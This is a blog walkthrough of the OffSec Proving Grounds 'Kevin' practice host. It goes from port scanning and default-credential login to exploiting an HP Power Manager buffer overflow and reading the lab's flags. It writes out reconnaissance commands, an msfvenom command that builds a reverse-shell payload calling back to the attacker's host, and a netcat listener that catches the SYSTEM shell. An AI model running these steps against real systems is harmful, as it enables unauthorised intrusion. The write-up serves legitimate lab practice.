<Introduction>
Hey all, I'm Pragmat1c_0n3. In this post I will be providing a walkthrough of the OffSec Proving Grounds Kevin vulnerable host.
<WHATS COVERED>
I will be covering reconnaissance through post-exploitation. This will include performing port scanning, service enumeration, default credential testing, and buffer overflow.
If you find this content informative and you are interested in cybersecurity, please check back on Cyb3r-S3c regularly for new content. Also, for more free content please like and subscribe to the Cyb3r-0verwatch YouTube channel.
<OVERVIEW>
The OffSec Proving Grounds Kevin vulnerable host is a purpose-built to provide a hands-on environment for practicing ethical hacking techniques. This virtual machine is intentionally designed with several security flaws, including identification and authentication failures, buffer overflow vulnerabilities, and security misconfigurations. It serves as an excellent resource for someone looking to sharpen their skills in a controlled setting. Accessible through the OffSec Proving Grounds virtual training lab, "Kevin" offers a valuable opportunity to explore and mitigate real-world security threats in a safe and educational environment.
<Recon: Enumerating What is Running>
I initiated the target host, "Kevin," and confirmed that it has successfully obtained an IP address, as shown on the screen. With the IP in hand, the next step is to dive into active information gathering. This phase involves conducting port scans and service enumeration to identify open ports and running services, laying the groundwork for deeper exploration and potential exploitation.
nmap -sS -p- -A -T4 -vv <IP>Nmap is my go-to tool for active information gathering in these labs. To kick things off, I'll run the following Nmap command shown in the CLI. The command initiates a comprehensive scan of all 65,535 ports using the '-p-' switch, allowing me to identify any open ports and the services that might be running on them. This thorough approach helps ensure that no potential entry point is overlooked during the initial reconnaissance phase.
<Recon: Analyzing the Results>
Based on the output the Nmap scan provided a wealth of valuable information about the target host. The results revealed several open ports, including port 80 (HTTP), port 135 (NetBIOS), port 139 (NetBIOS), port 445 (SMB), port 3389 (RDP), and multiple MSRPC ports. This suggests a strong likelihood that the target host is running Windows 7. Additionally, the scan identified the host's name as "Kevin," confirmed that it's part of a workgroup rather than a domain, and uncovered that it's hosting a web application called HP Power Manager. This initial Nmap scan has already provided a solid foundation for further exploration and potential exploitation.
As I scroll down to further examine the Nmap scan results, additional details emerge that reinforce my initial findings. The scan provides even more evidence that the host is indeed a Windows 7 system, operating within a workgroup, with the hostname confirmed as "Kevin."
enum4linux -a <IP>Next, I'll run Enum4linux in the CLI to verify the information gathered from the Nmap scan. This tool will help confirm details about the target system and may potentially uncover additional insights.
By running Enum4linux, I confirmed that the host is indeed named "Kevin" and is part of a workgroup. Additionally, the scan revealed that null sessions are possible, indicating potential vulnerabilities to explore. With this information in hand, it's time to investigate port 80 (HTTP) and see what the web service has to offer.
Navigating to the target host's webpage on port 80 (HTTP) directs me to the HP Power Manager login page.
One of the initial steps in assessing a web application is to review the page source. Unfortunately, in this case, I didn't find any useful information.
To identify potential low-hanging fruit, I searched for default credentials for HP Power Manager. My search led me to the HP Power Manager user guide, which revealed the default username and password are both set to "admin."
<Recon: Low Hanging Fruit >
Sure enough, the default credentials allowed me to login as the “admin” account.
Under the “help” tab I can see that the version of HP power manager is 4.2 (build 7).
Examining the application logs, it appears there were multiple attempts to execute a buffer overflow exploit on the host.
<Recon: Exploit Research>
searchsploit HP Power ManagerI'll use Searchsploit with the following command shown in the CLI, to check for any locally available exploits for HP Power Manager.
After running Searchsploit, I reviewed the results and found several potential exploits. Among them, an exploit for a universal buffer overflow seems to be the most promising option to try first.
searchsploit -m 10099I executed the Searchsploit command, as shown in the CLI. The output provided detailed information about the exploit and additionally, Searchsploit copied the exploit file to my current directory. In this case is the ‘/Downloads’ folder.
ls -laWhen I do an ‘ls -la’ you can see the exploit in the folder.
With the exploit now located in the ‘/Downloads’ folder, the next step is to review it to understand its functionality and determine if any modifications are needed. At the beginning of the exploit, you'll find comments that include details about the creators of the exploit and the expected output upon successful execution.
Further down in the code, additional comments indicate that you'll need to generate shellcode with Msfvenom, taking into account the specified "bad characters" documented in the exploit.
msfvenom -p windows/shell_reverse_tcp LHOST-<IP> LPORT=4321 -b <bad characters> -e x86/alpha_mixed --platform windows -f cBased on my review of the exploit code, I need to generate shellcode using the following Msfvenom command, as shown in the CLI. Here's a breakdown of the command:
-p specifies the payload, which in this case is a reverse shell that will connect back to my Kali machine.
LHOST is set to my Kali IP address, and LPORT is the port where I'll run my listener.
-b includes the "bad characters" identified in the exploit code.
-e specifies the encoder, with ‘x86/alpha_mixed’ being the choice as indicated in the exploit code.
--platform is set to ‘windows’ based on the target host's operating system.
-f defines the output format, which I've chosen as ‘c’.
This command will generate the shellcode required for the exploit.
After running the Msfvenom command, the generated shellcode is displayed. The next step is to integrate this shellcode into the exploit code. To do this, I'll copy all the shellcode that appears within quotes and paste it into the appropriate section of the exploit.
I copied the shellcode from the Msfvenom output and inserted it between the parentheses right after the “noobnoob” text in the exploit code. After making this adjustment, I saved the modified exploit.
<Exploitation: Gaining A Foothold>
nc -lvnp 4321With the necessary changes made to the exploit, I'm ready to test it. Before doing so, I started my Netcat listener using the command shown in the CLI to ensure I'm prepared to capture the incoming connection.
python2.7 10099.py <IP>With my listener running, I ran the following command shown in the CLI to execute the exploit.
nc -lvnp 4321Upon checking my Netcat listener, I confirmed that I successfully established a shell. The current directory is ‘\windows\system32’, indicating that the exploit has successfully executed.
<Post-Exploitation: Got Root>
whoamiI ran the ‘whoami’ command and the output confirmed that I have obtained ‘SYSTEM’ privileges. Achieving ‘SYSTEM’ access indicates that the target host has been fully compromised. If this were a domain-joined system, the next step would involve further enumerating the host to escalate privileges to a domain account.
../../UsersWith ‘SYSTEM’ privileges, I now have access to any user account on the host. The next step is to perform some enumeration to locate the flags. I navigated to the ‘\users’ directory using the command shown in the CLI, as flags are typically found within user accounts.
dirRunning the ‘dir’ command, I identified three accounts: ‘Administrator’, ‘Kevin’, and ‘Public’. My focus will be on the ‘Administrator’ and ‘Kevin’ accounts, as these are the most likely to contain the flags.
<Post-Exploitation: Enumerate that Host>
dir “local*.txt” /s /p /rI initially ran the ‘dir’ command, as shown in the CLI to search for the ‘local.txt’ file within the ‘/Users’ folder and all subdirectories. The wildcard * searches for any file starting with "local" and ending with a ‘.txt’ extension. The ‘-s’ option lists every occurrence of the specified file name within the directory and its subdirectories, while ‘-p’ displays one listing at a time. The ‘-r’ flag reveals alternate data streams. Unfortunately, no ‘local.txt’ file was found.
dir “proof*.txt” /s /p /rNext, I ran another ‘dir’ command, also shown in the CLI to search for the ‘proof.txt’ file within the ‘/Users’ folder and its subdirectories.
Reviewing the output, I located the ‘proof.txt’ file along with another file named ‘proof[1].txt’.
<Post-Exploitation: Flags Captured>
type “C:\Users\kevin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Conent.IE5\50MZ0D17\proof[1].txt”To view the contents, I ran the ‘type’ command for the ‘proof[1].txt’ file, which revealed a hash.
type “C:\Users\Administrator\Desktop\proof.txt”I then used the ‘type’ command to check the contents of the ‘proof.txt’ file, and it too revealed a hash. With this, I successfully completed the exploitation of the host.
</CONCLUSION>
In conclusion, by employing a range of techniques, I was able to go from reconnaissance to obtaining SYSTEM privileges on the target host. The process involved gathering crucial information that enabled me to exploit a buffer overflow vulnerability in the HP Power Manager application, gaining an initial foothold. Upon gaining access, further enumeration confirmed that I had achieved SYSTEM-level access, allowing me to locate and retrieve the 'proof.txt' flag.
It's important to note that the target host, "Kevin", differs from the typical vulnerable lab host that usually contains both a 'local.txt' and a 'proof.txt' file. In this case, only the 'proof.txt' file was present. This is likely because exploiting the buffer overflow vulnerability immediately granted SYSTEM-level access, eliminating the need for a separate local file.
Thank you for joining me in this walkthrough of the OffSec Proving Grounds Kevin vulnerable host. If you found this content informative and have a passion for cybersecurity, be sure to visit Cyb3r-S3c regularly for new content. Also for more free content, please like and subscribe to the Cyb3r-0verwatch YouTube channel. Until next time keep learning, the only way to improve is to keep learning.
/Signing Off,
Pragmat1c_0n3
Comments